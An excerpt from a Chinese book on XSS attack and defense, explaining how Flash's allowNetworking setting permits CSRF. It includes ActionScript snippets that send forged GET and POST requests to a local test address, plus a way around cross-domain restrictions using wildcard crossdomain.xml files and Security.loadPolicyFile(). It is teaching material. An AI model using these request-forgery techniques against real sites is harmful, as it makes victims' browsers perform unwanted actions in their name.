本节书摘来自异步社区《XSS跨站脚本攻击剖析与防御》一书中的第6章6.5节利用Flash进行CSRF,作者邱永华,更多章节内容可以访问云栖社区“异步社区”公众号查看。
6.5 利用Flash进行CSRF
XSS跨站脚本攻击剖析与防御
Flash在客户端提供了两个控制属性:allowScriptAccess属性和allowNetworking属性,其中AllowScriptAccess控制Flash与HTML页面的通信,如果设置不恰当会导致XSS;而AllowNetworking控制Flash与外部网络的通信,如果设置不当会导致CSRF。
CSRF的中文名称是“跨站请求伪造”,和XSS一样是一种常见的Web程序漏洞(攻击手段),CSRF能够做的事情是以你的名义发送恶意请求,例如,发布一篇文章、发送一封邮件、进行网上银行转账等。在本书第7章会探讨CSRF。
allowNetworking属性可选的值如下:
All:SWF 文件允许使用所有网络API,为默认值
internal :SWF文件不可以调用浏览器导航或浏览器交互 API,但可以调用任何其他联网API
none :SWF文件不可以调用任何联网API,也不可以调用任何SWF间通信API
当allowNetworking被设置为internal时,以下 API 被禁止:
navigateToURL();
fscommand();
ExternalInterface.call()。
当 allowNetworking 设置为none时,除了上面列出的API外,还会禁止以下 API:
sendToURL();
FileReference.download();
FileReference.upload();
Loader.load();
LocalConnection.connect();
LocalConnection.send();
NetConnection.connect();
NetStream.play();
Security.loadPolicyFile();
SharedObject.getLocal();
SharedObject.getRemote();
Socket.connect()。
如果想利用Flash进行CSRF,那么嵌入Flash的HTML标签的allowNetworking属性值必须为all或者internal。当allowNetworking=all时,允许使用所有的网络通信;当allowNetworking=internal时,尽管禁止了与浏览器交互的API,仍可以与网络通信,因此同样能实现CSRF。
在ActionScript 2.0中,可以使用LoadVars 类在Flash应用程序和服务器之间传输变量,请看示例:
stop();
var reVar:LoadVars = new LoadVars(); //定义接收服务器的返回信息
var sendVar:LoadVars = new LoadVars(); //定义发送到服务器的信息
sendVar.user = 'cnn4ry'; //初始化变量user
sendVar.msg = 'XSS'; //初始化变量msg
reVar.Value = 0; //初始化接收变量值Value=0
reVar.onLoad = getServerInfo;
sendVar.sendAndLoad("http://127.0.0.1/test.php",reVar,"POST");
trace("loading...");
function getServerInfo(Success:Boolean)
{
if(Success)
{
trace(reVar.Value)
}
else
{
trace("false!");
}
}
由此可见,在ActionScript 2.0中传输数据很方便。而在ActionScript 3.0中,原来的loadVars方法已经被废弃,改用一系列的类来实现与后台数据的交互,比如URLLoader类与URLVariables类。
例如,要向http://127.0.0.1/test.php发送一个GET请求,其中URL附加的参数是user=cnn4ry&msg=CSRF,实现的ActionScript代码如下:
function xss():void
{
var urlLoader:URLLoader=new URLLoader();
var request:URLRequest=new URLRequest();
request.url="http://127.0.0.1/test.php";
request.method=URLRequestMethod.GET;
request.data="user=cnn4ry&msg=CSRF";
urlLoader.load(request);
}
xss();
类似地,发送POST请求的操作也很简单,ActionScript代码如下:
import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://127.0.0.1/test.php");
var shellcode = new URLVariables();
shellcode = "user=cnn4ry&msg=CSRF";
url.method = "POST";
url.data = shellcode;
sendToURL(url);
stop();
但是,如果Flash要跨域读取数据,必须经过crossdomain.xml文件的允许。
假设目标站点有crossdomain.xml,如下:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
通配符的使用意味着允许访问来自任何域的文档,因此可以使用Flash跨域读取数据。如果目标站点根目录没有crossdomain.xml文件,但是设置了by-content-type等相关属性,同样可以利用Security.loadPolicyFile()来加载其他域中的跨域文件绕过限制,如:
Security.loadPolicyFile("http://www.test.com/sub/crossdomain.xml")
本章关于Flash应用安全的内容就介绍到这里,如果读者想了解更多相关知识,可以参考本书参考文献中列举的资料。
本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。